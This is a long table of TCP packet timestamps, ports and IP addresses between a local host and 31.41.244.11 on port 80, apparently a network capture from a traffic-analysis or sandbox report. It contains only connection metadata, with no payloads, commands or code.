Dec 9, 2024 15:30:12.070833921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.070849895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.072004080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.072022915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.072068930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.072088957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.073219061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.073236942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.073270082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.073285103 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.074470997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.074486017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.074526072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.075822115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.075835943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.075870991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.077153921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.077166080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.077203035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.078602076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.078613997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.078674078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.079965115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.079982996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.080034971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.080066919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.081212044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.081227064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.081285954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.082609892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.082624912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.082657099 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.082674980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.084156036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.084168911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.084202051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.084228039 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.086167097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.086229086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.087655067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.087733030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.089837074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.089880943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.090578079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.090591908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.090625048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.090641022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.092056036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.092068911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.092109919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.205897093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.206130028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.206254005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.206320047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.206324100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.206373930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.206902981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.206954956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.207814932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.207828999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.207876921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.209131956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.209198952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.209800005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.209851027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.210428953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.210443974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.210474014 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.210505962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.211823940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.211878061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.212526083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.212574005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.213200092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.213212967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.213254929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.213264942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.214518070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.214540958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.214579105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.215871096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.215884924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.215923071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.217377901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.217390060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.217427969 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.218803883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.218844891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.220145941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.220163107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.220204115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.220963955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.220978975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.221010923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.222223043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.222237110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.222270012 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.222297907 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.223731995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.223746061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.223787069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.225661993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.225723982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.225724936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.225763083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.227197886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.227225065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.227252960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.227272034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.228450060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.228467941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.228498936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.228518009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.229737997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.229749918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.229785919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.231503963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.231520891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.231566906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.232858896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.232880116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.232892036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.232954025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.232954025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.234251976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.234270096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.234329939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.235740900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.235755920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.235797882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.237282038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.237299919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.237343073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.237370968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.238763094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.238775015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.238825083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.240226984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.240242004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.240302086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.241730928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.241744041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.241782904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.243237019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.243252039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.243288040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.244720936 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.244743109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.244798899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.246311903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.246329069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.246340036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.246367931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.246387005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.247833967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.247849941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.247890949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.249537945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.249551058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.249594927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.250919104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.250933886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.250982046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.252233028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.252247095 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.252257109 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.252285957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.252304077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.253751040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.253763914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.253856897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.255215883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.255264044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.255268097 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.255304098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.256781101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.256793022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.256838083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.258440971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.258452892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.258496046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.259896040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.259910107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.259919882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.259953022 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.259970903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.261327982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.261342049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.261383057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.262806892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.262820959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.262860060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.264332056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.264343977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.264383078 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.266657114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.266679049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.266689062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.266717911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.266738892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.268177032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.268189907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.268234015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.269622087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.269637108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.269682884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.271285057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.271296978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.271465063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.272715092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.272728920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.272775888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.273973942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.273986101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.273997068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.274028063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.274045944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.275227070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.275238991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.275279045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.276374102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.276386023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.276427984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.277709007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.277730942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.277765989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.277802944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.399343014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.399497986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.399746895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.399764061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.399802923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.399822950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.401036978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.401097059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.401706934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.401760101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.402364016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.402414083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.403110027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.403156996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.404581070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.404592991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.404603004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.404638052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.404681921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.406012058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.406074047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.406647921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.406698942 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.407365084 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.407385111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.407423973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.407448053 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.409153938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.409168959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.409209013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.409230947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.410145998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.410162926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.410207033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.411477089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.411490917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.411537886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.412811041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.412823915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.412874937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.414144039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.414160967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.414207935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.415666103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.415682077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.415723085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.417176962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.417187929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.417232037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.418804884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.418822050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.418867111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.420181036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.420193911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.420202971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.420244932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.421652079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.421668053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.421714067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.423196077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.423212051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.423247099 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.423269033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.424678087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.424694061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.424734116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.424765110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.426759958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.426774025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.426784992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.426831961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.426858902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.427680016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.427695036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.427741051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.427762985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.429199934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.429214954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.429260015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.430746078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.430759907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.430808067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.432482004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.432496071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.432547092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.433978081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.433991909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.434000969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.434035063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.434068918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.435456991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.435472965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.435522079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.437094927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.437109947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.437154055 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.437176943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.438607931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.438620090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.438661098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.440042973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.440054893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.440064907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.440104961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.440130949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.441288948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.441301107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.441343069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.442677021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.442692995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.442739964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:12.444257975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:12.444273949 CET	80	49866	31.41.244.11	192.168.2.5
